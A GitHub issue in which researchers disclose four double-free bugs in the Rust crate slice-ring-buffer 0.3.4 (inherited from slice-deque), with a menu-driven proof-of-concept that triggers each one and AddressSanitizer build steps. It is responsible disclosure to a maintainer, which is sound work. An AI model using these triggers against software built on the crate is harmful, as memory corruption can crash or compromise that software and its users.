Skip to content

Multiple Memory Safety Bugs Inherited from slice-deque #12

@GeorgeAndrou

Description

@GeorgeAndrou

Hello,

We are @purseclab, and we are fuzzing Rust crates to identify memory violation bugs. Over the past few months, we discovered four distinct double-free vulnerabilities in slice-deque-0.3.0, which we reported on the original crate's (now unmaintained) GitHub repository:

  1. Double Free caused by extend_from_slice (Double Free in SliceDeque::extend_from_slice gnzlbg/slice_deque#99)
  2. Double Free caused by shrink_to_fit (Double Free caused by SliceDeque::shrink_to_fit gnzlbg/slice_deque#100)
  3. Double Free caused by insert (Double Free due to Ownership Duplication gnzlbg/slice_deque#97)
  4. Double Free caused by into_iter (Double Free by Using Only Safe Rust gnzlbg/slice_deque#96)

We recently became aware that slice-ring-buffer is an actively maintained fork of slice-deque with a focus on addressing security issues. For that reason, we are sharing these findings with you, as the same vulnerabilities are still present in the latest version: slice-ring-buffer-0.3.4

Following, we provide a PoC that can trigger all 4 memory safety bugs.

PoC:

use slice_ring_buffer::*;
use std::io;

#[derive(Debug, Clone)]
struct StructA(String);

impl Drop for StructA {
    fn drop(&mut self) {
        println!("Dropping StructA with data at: {:?}", self.0.as_ptr());
    }
}

fn main() {
    println!("Select a bug:");
    println!("1 - DF due to extend_from_slice");
    println!("2 - DF due to shrink_to_fit");
    println!("3 - DF due to insert");
    println!("4 - DF due to into_iter");

    let mut input = String::new();
    io::stdin().read_line(&mut input).expect("Failed to read input");

    match input.trim() {
        "1" => {
            let mut dq1 = SliceRingBuffer::new();
            dq1.push_back(StructA(String::from("AAAA")));
            println!("pushed");
            dq1.pop_back();
            println!("popped");
            let other = &[StructA(String::from("BBBB"))];
            dq1.extend_from_slice(other);
            println!("extended: {:?}", dq1);
        }
        "2" => {
            let mut dq1 = SliceRingBuffer::new();
            dq1.push_back(StructA(String::from("AAAA")));
            dq1.reserve_exact(170);
            dq1.shrink_to_fit();
            println!("After shrink: {:?}", dq1.capacity());
        }
        "3" => {
            let mut vec = vec![
                String::from("0"), String::from("1"), String::from("2"),
                String::from("3"), String::from("4"), String::from("5"),
            ];
            let mut slice_deq = SliceRingBuffer::from(&vec[..]);
            println!("slice_deq_old = {:#?}", slice_deq);
            slice_deq.insert(3, String::from("X"));
            println!("slice_deq_new = {:#?}", slice_deq);
        }
        "4" => {
            let slice_deque = slice_ring_buffer::from_elem(String::from("DF"), 10);
            let iter1 = SliceRingBuffer::into_iter(slice_deque);
            let iter2 = &iter1.clone();
        }
        _ => {
            println!("Invalid option. Please select a number between 1 and 4.");
        }
    }
}

How to Build and Run the PoC:

RUSTFLAGS="-Zsanitizer=address" cargo run

Details:

  • Compiler Version: rustc 1.81.0-nightly (8337ba918 2024-06-12)
  • Library Version: slice-ring-buffer-0.3.4
  • OS: Ubuntu 20.04.6 LTS

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions